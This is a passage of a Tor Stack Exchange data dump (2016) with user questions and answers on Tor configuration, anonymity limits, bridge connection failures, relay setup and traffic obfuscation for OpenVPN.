  <row Id="12885" PostTypeId="2" ParentId="12880" CreationDate="2016-10-11T12:41:58.990" Score="1" Body="&lt;p&gt;Generally speaking, HTTPS is better than HTTP. But in case of the deb-packages it actually makes &lt;strong&gt;no sense at all&lt;/strong&gt; : all the packages are digitally signed by the publisher's key. And - regardless of the safety of transport they were obtained - using a package manager enforces &lt;strong&gt;preliminary signature check&lt;/strong&gt;. So if it was tampered with - it will fail, regardless of the transport method. And if it's integrity is not tainted - it's no problem if they're fetched via plain HTTP.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-11T12:41:58.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12886" PostTypeId="2" ParentId="12879" CreationDate="2016-10-11T13:50:59.850" Score="-1" Body="&lt;p&gt;tor has it's &quot;nat helpers&quot; - but they &lt;strong&gt;must be enabled during compilation&lt;/strong&gt; in &lt;code&gt;configure --enable-nat-pmp --enable-upnp&lt;/code&gt; script arguments and in &lt;code&gt;torrc&lt;/code&gt; it should be explicitly pointed to by using( a cite from &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;official manual&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;PortForwarding 0|1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Attempt to automatically forward the DirPort and ORPort on a NAT router connecting this Tor server to the Internet. If set, Tor will try both NAT-PMP (common on Apple routers) and UPnP (common on routers from other manufacturers). (Default: 0)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PortForwardingHelper filename|pathname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;If PortForwarding is set, use this executable to configure the forwarding. If set to a filename, the system path will be searched for the executable. If set to a path, only the specified path will be executed. (Default: tor-fw-helper)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-11T13:50:59.850" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12888" PostTypeId="2" ParentId="9222" CreationDate="2016-10-11T17:13:36.787" Score="1" Body="&lt;p&gt;Use &lt;em&gt;any&lt;/em&gt; UI pilot software, not the &lt;em&gt;in-browser pilots&lt;/em&gt;, like Selenium. The UI pilots are quite common ones since 1990-s, they also called a &lt;em&gt;macro tools&lt;/em&gt;. The simpliest was called UOLoop, tons of them are free and open source&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-11T17:13:36.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12889" PostTypeId="2" ParentId="4199" CreationDate="2016-10-11T17:18:16.510" Score="0" Body="&lt;p&gt;Tor browser is a Firefox at it's heart, so the well-known pain in the ass called &quot;profile lockdown conflict&quot; and a bit less common &quot;neighbor process&quot; case(your one) are very common. To avoid it - create multiple profiles in firefox, one by one(close the FF, create a new profile, launch FF with it, close FF) acting &lt;strong&gt;from the same user&lt;/strong&gt; - it will make some profiles for you. After that, being started from this user - &lt;em&gt;any&lt;/em&gt; firefox will show you a profile selection dialog, and no such conflicts will be possible. Or - if you need a one-click shortcuts - use a profile selection from a command line, create profiles in exact the same way I've described above. I'm using TBB, FF and FFDE - no problems so far for 3+ years&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-11T17:18:16.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12891" PostTypeId="2" ParentId="12852" CreationDate="2016-10-11T20:05:38.737" Score="2" Body="&lt;p&gt;Okay I'm taking this account briefly out of retirement because Croll's answer is wrong and massively misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, they can (most likely) figure out that it was you, technologically at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the scenario is that you sent an email from some mail server to a group that only you and your classmates know about. Straight away you've acted within a small subset of possible candidates.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;From either the mail headers or a subpoena, they can discover that the email was sent over Tor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From either the mail headers or a subpoena, they can discover when the email was sent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From the small set of possible candidates, how many of them were connecting to Tor at the time the email was sent? I'm guessing the answer is ~1 (you).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is precedent for this in the case of the &lt;a href=&quot;http://www.businessinsider.com/harvard-student-used-tor-for-bomb-threat-2013-12&quot; rel=&quot;nofollow&quot;&gt;Harvard &quot;Bomb Threat&quot; Hoax&lt;/a&gt; who, in 2013, made &lt;em&gt;exactly&lt;/em&gt; the same mistake that you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that you created a very small anonymity set, you take a few sets of people: The people who know your friend, the people who know the recipient email address, the people online at the time the email was sent, the people on Tor at the time the email was sent. Now take all these sets and put them on a Venn Diagram. Where all these sets overlap is a very small area, probably consisting of just you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here's where you might not get caught. Local police departments aren't technologically sophisticated and they don't have a lot of time to devote to it. They'd likely need some kind of warrant or subpoena for all the users internet connection records, &lt;strong&gt;I'm not a lawyer&lt;/strong&gt; so I don't know how plausible that would be in your jurisdiction. If you are already of particular interest to the investigation such that they can show probable cause or reasonable suspicion, then you're going to be getting asked some questions by law enforcement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: It may be noteworthy that the Harvard Student confessed when the FBI questioned him, we didn't get to see this play out in court, so how well he might have been able to maintain plausible-deniability was not tested. But in general what you are doing is not safe or anonymous and there's no technical reason you wouldn't be caught.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-11T20:05:38.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12892" PostTypeId="1" CreationDate="2016-10-12T04:46:33.710" Score="0" ViewCount="5558" Body="&lt;p&gt;I get the distinct feeling that Tor uses the same identity/circuit from day to day. &#xA;I use Tor solely to defeat (low) paywalls in online publications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say a newssite allows the reading of 5 articles per session/logon to that site. Unless I manually choose New Identity each day (I typically have one Tor session/day, then close it) then that site keeps count of the number of articles and I hit the paywall after a) reading the allowed 5 articles in one session or b) after reading 2 on one day, then 3 the next. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This suggests to me that the site in question can keep count of the total number of sessions for subsequent logins just as when using my regular browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This defeats the very purpose of using Tor I subsequently manually choose New Identity each day (session were I to log on several times that day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can I automate this procedure of getting a new identity/circuit on each new session?&lt;/p&gt;&#xA;" OwnerUserId="10293" LastEditorDisplayName="user5" LastEditDate="2016-10-12T16:30:12.700" LastActivityDate="2016-11-13T02:33:54.393" Title="How set Tor browser to use new identity on each session" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12893" PostTypeId="1" CreationDate="2016-10-12T14:10:51.793" Score="0" ViewCount="1596" Body="&lt;p&gt;Onionmail as introduced there: &lt;a href=&quot;http://onionmail.info/rulez.html&quot; rel=&quot;nofollow&quot;&gt;http://onionmail.info/rulez.html&lt;/a&gt; (English language home page &lt;a href=&quot;http://en.onionmail.info/&quot; rel=&quot;nofollow&quot;&gt;http://en.onionmail.info/&lt;/a&gt; ) is a system that aims at providing highly secure private and anonymous email, comprised of federated Tor hidden secure email servers. Pop3 &amp;amp; smtp, with STARTTLS extensions, are used above the Tor transport, and user &quot;pop&quot; maiboxes are encrypted at rest using various keys (see description on their site). The server software is open and auditable. Anyone in capacity of running an &quot;onion&quot; could host an &quot;onionmail&quot; server (including &quot;bad guys&quot;of course.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having set up a couple user accounts as well as a couple friends', and played with the system for a few days, I could not fault its principle nor operation (availability appears to be pretty good).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence I am surprised that Onionmail has received little to no mention and/or attention, here on Stackexchange or on the Torproject blog even. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question : assuming (1) onionmail messages always end-to-end encrypted using pgp/gpg for instance (in order to prevent the recipient's onionmail operator, or an evil maid, from snooping), and (2) all messages are exchanged between onionmail addresses (thus not using onionmail's additionnal facilities to send to/ receive from the clearnet SMTP network), then...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is onionmail truly anonymous (even unobservable) and its contents private (from prying eyes) by all but, perhaps, a formidable all-seeing (nation state) adversary - if even that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously in the frame of this question it is also to be assumed that the end users are not already under targetted by surveillance, or compromised by trojans and the like.&lt;/p&gt;&#xA;" OwnerUserId="14636" LastEditorUserId="14636" LastEditDate="2016-10-12T14:56:43.967" LastActivityDate="2017-10-10T00:49:49.757" Title="onionmail : its anonymity privacy and security" Tags="|anonymity|onion-routing|email|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12894" PostTypeId="2" ParentId="12892" CreationDate="2016-10-12T16:28:47.390" Score="-1" Body="&lt;p&gt;You can use &lt;code&gt;ExcludeNodes&lt;/code&gt; and &lt;code&gt;StrictNodes 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; to prohibit usage of the exits you've recently used. In ExcludeNodes list you should specify hashes/fingerprints - and rotate them to fit your needs&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-12T16:28:47.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12895" PostTypeId="1" CreationDate="2016-10-12T19:09:55.207" Score="0" ViewCount="1112" Body="&lt;p&gt;Long story short - I've download Tor and it worked fine for the first time. Day later is not connecting at all. &#xA;I have tried to run it manually using bridges, but unfo it didnt work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. antivirus and firewall is turnoff, time is set online&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is the log from using automatic bridges (obfs4) from Tor itself&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12.10.2016 14:36:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:36:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:36:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:36:30.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:36:30.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12.10.2016 14:36:31.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12.10.2016 14:38:17.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:17.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:17.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:18.000 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;12.10.2016 14:38:32.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:32.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:32.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:32.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:40.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 752CF7825B3B9EA6A98C83AC41F7099D67007EA5 at 198.245.60.50:443) &#xA;12.10.2016 14:38:40.000 [WARN] 10 connections have failed: &#xA;12.10.2016 14:38:40.000 [WARN] 10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:43.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:43.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D at 154.35.22.13:4319) &#xA;12.10.2016 14:38:43.600 [WARN] 11 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:50000) &#xA;12.10.2016 14:38:43.600 [WARN] 12 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 13; recommendation warn; host 00DC6C4FA49A65BD1472993CF6730D54F11E0DBB at 154.35.22.12:80) &#xA;12.10.2016 14:38:43.600 [WARN] 13 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 14; recommendation warn; host A832D176ECD5C7C6B58825AE22FC4C90FA249637 at 154.35.22.11:2413) &#xA;12.10.2016 14:38:43.600 [WARN] 14 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 14 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 15; recommendation warn; host 8FB9F4319E89E5C6223052AA525A192AFBC85D55 at 154.35.22.10:2934) &#xA;12.10.2016 14:38:43.600 [WARN] 15 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 16; recommendation warn; host C73ADBAC8ADFDBF0FC0F3F4E8091C0107D093716 at 154.35.22.9:443) &#xA;12.10.2016 14:38:43.600 [WARN] 16 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;here is the log with manually inserted bridges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12.10.2016 14:36:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:36:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:36:30.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:36:30.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:36:30.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12.10.2016 14:36:31.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12.10.2016 14:38:17.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:17.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:17.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:18.000 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;12.10.2016 14:38:32.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:32.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:32.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:32.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:40.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 752CF7825B3B9EA6A98C83AC41F7099D67007EA5 at 198.245.60.50:443) &#xA;12.10.2016 14:38:40.000 [WARN] 10 connections have failed: &#xA;12.10.2016 14:38:40.000 [WARN] 10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:43.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:38:43.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host FE7840FE1E21FE0A0639ED176EDA00A3ECA1E34D at 154.35.22.13:4319) &#xA;12.10.2016 14:38:43.600 [WARN] 11 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host A09D536DD1752D542E1FBB3C9CE4449D51298239 at 83.212.101.3:50000) &#xA;12.10.2016 14:38:43.600 [WARN] 12 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 13; recommendation warn; host 00DC6C4FA49A65BD1472993CF6730D54F11E0DBB at 154.35.22.12:80) &#xA;12.10.2016 14:38:43.600 [WARN] 13 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 14; recommendation warn; host A832D176ECD5C7C6B58825AE22FC4C90FA249637 at 154.35.22.11:2413) &#xA;12.10.2016 14:38:43.600 [WARN] 14 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 14 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 15; recommendation warn; host 8FB9F4319E89E5C6223052AA525A192AFBC85D55 at 154.35.22.10:2934) &#xA;12.10.2016 14:38:43.600 [WARN] 15 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:38:43.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 16; recommendation warn; host C73ADBAC8ADFDBF0FC0F3F4E8091C0107D093716 at 154.35.22.9:443) &#xA;12.10.2016 14:38:43.600 [WARN] 16 connections have failed: &#xA;12.10.2016 14:38:43.600 [WARN] 16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:40:41.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:41.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:41.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:41.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:40:48.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 17; recommendation warn; host 14A6BF7B174B26A6F672A1C0E7D99F0BE3111FBC at 37.218.246.41:55155) &#xA;12.10.2016 14:40:48.400 [WARN] 17 connections have failed: &#xA;12.10.2016 14:40:48.400 [WARN] 17 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:40:51.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:40:51.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:51.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:40:51.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 18; recommendation warn; host 1F7B521B5E61D034B72EA965EA12133F9D992568 at 88.198.46.98:42723) &#xA;12.10.2016 14:40:51.600 [WARN] 19 connections have failed: &#xA;12.10.2016 14:40:51.600 [WARN] 18 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:40:51.600 [WARN] 1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;12.10.2016 14:40:57.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:57.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:57.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:40:57.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:41:04.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 19; recommendation warn; host 14A6BF7B174B26A6F672A1C0E7D99F0BE3111FBC at 37.218.246.41:55155) &#xA;12.10.2016 14:41:04.400 [WARN] 20 connections have failed: &#xA;12.10.2016 14:41:04.400 [WARN] 19 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:41:04.400 [WARN] 1 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;12.10.2016 14:41:05.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:41:05.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12.10.2016 14:41:05.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12.10.2016 14:41:05.500 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 20; recommendation warn; host 1F7B521B5E61D034B72EA965EA12133F9D992568 at 88.198.46.98:42723) &#xA;12.10.2016 14:41:05.500 [WARN] 22 connections have failed: &#xA;12.10.2016 14:41:05.500 [WARN] 20 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12.10.2016 14:41:05.500 [WARN] 2 connections died in state handshaking (proxy) with SSL state (No SSL object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="14690" LastEditorUserId="12737" LastEditDate="2016-10-12T20:59:43.237" LastActivityDate="2017-01-11T01:22:00.263" Title="Tor is not connecting (how to overcome provider's blocking)" Tags="|tor-browser-bundle|windows|help|blocked|" AnswerCount="1" CommentCount="4" ClosedDate="2017-05-09T11:57:52.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="12896" PostTypeId="2" ParentId="12879" CreationDate="2016-10-12T19:58:33.153" Score="3" Body="&lt;p&gt;The NAT punching properties described in the video, are those of onion services. These are a default property of onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally if you've providing a service that you want to be accessible behind some NAT, you have to setup some kind of exception on the NAT device (e.g. a home router) to allow incoming connections to a certain port be forwarded to an address behind the NAT device. However, onion services consist purely of outbound connections so there is no requirement (or recommendation) to configure the NAT device to allow incoming connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can make outbound connections, then an onion service can receive &quot;inbound&quot; connections, and the NAT device doesn't come into play at all. There are no special configuration steps required, it is a useful side-effect of the architecture of onion services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The onion service makes an outbound connection to ~3 Introduction Points, it holds those outbound connections open. The client speaks to those introduction points and through them provides a rendezvous point. The onion service makes an outbound connection to the rendezvous point. At no point does the onion service have to receive an inbound connection to operate.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-10-12T19:58:33.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12897" PostTypeId="1" AcceptedAnswerId="12901" CreationDate="2016-10-12T23:12:58.740" Score="0" ViewCount="90" Body="&lt;p&gt;Can i use tor relay  with 2 ip adresses ?&#xA;I have 2 ip's on the same computer can i set both to same relay somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards kof&lt;/p&gt;&#xA;" OwnerUserId="14693" LastActivityDate="2016-10-13T08:57:57.797" Title="Can i use tor relay with 2 ip adresses?" Tags="|configuration|relays|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12898" PostTypeId="2" ParentId="12897" CreationDate="2016-10-12T23:54:04.533" Score="0" Body="&lt;p&gt;yes you can. Tor won't use them both in teaming or load-balancing, but you can utilize via ORPort and DirPort directives values like &lt;code&gt;address:port&lt;/code&gt; a different binding. Also you can use OutboundBindAddress to specify whic one will be used for primary traffic. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-12T23:54:04.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12899" PostTypeId="2" ParentId="12895" CreationDate="2016-10-12T23:56:00.163" Score="1" Body="&lt;p&gt;You can try &lt;code&gt;meek&lt;/code&gt; transport - it seems that you're experiencing a SSL/TLS based intrusion tactiks from your ISP, so use that particular transport: it is specifically designed to fight with such type of problem&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-12T23:56:00.163" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="12901" PostTypeId="2" ParentId="12897" CreationDate="2016-10-13T08:57:57.797" Score="0" Body="&lt;p&gt;You can use both IP addresses. Best is to set up two different &lt;code&gt;torrc&lt;/code&gt; files and start two processes. If you use Debian, there is a multi-instance systemd service file. Just create &lt;code&gt;/etc/tor/instances/1/torrc&lt;/code&gt; and &lt;code&gt;/etc/tor/instances/2/torrc&lt;/code&gt;. Now you can enable the services:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemctl enable tor@1.service&#xA;systemctl enable tor@2.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you start Tor with &lt;code&gt;systemctl start tor&lt;/code&gt;, systemd will take care about the start of both services.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-13T08:57:57.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12903" PostTypeId="1" AcceptedAnswerId="12906" CreationDate="2016-10-13T10:44:45.667" Score="0" ViewCount="1288" Body="&lt;p&gt;Tunnelblick created a &lt;a href=&quot;https://github.com/clayface/openvpn_xorpatch/blob/master/openvpn_xor.patch&quot; rel=&quot;nofollow&quot;&gt;patch&lt;/a&gt; for openVPN &lt;em&gt;client&lt;/em&gt; and &lt;em&gt;server&lt;/em&gt; which can &lt;strong&gt;hide&lt;/strong&gt; your openVPN traffic from &lt;strong&gt;deep packet inspection&lt;/strong&gt;.&lt;br&gt;&#xA;According to tunnelblicks-an open source VPN provider for MacOSX &lt;em&gt;The option can be useful to avoid having OpenVPN traffic detected by monitoring or censoring mechanisms such as the Great Firewall of China. The option &quot;scrambles&quot; each buffer of traffic before it is sent between the OpenVPN client and server.&lt;br&gt;&#xA;The patch is attractive because it is so easy to implement: simply apply the patch to both the OpenVPN server and the OpenVPN client and add a single, identical option to the configuration files for each. Using obfsproxy is more complicated because it involves running another, separate program on both the server and the client.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But openVPN developer refused to add this. According to them &lt;em&gt;we especially discourage using such an approach when there exists a far better solution, used by the &lt;strong&gt;TOR community&lt;/strong&gt;. It is called obfsproxy and can be used together with OpenVPN without needing any re-compilation of 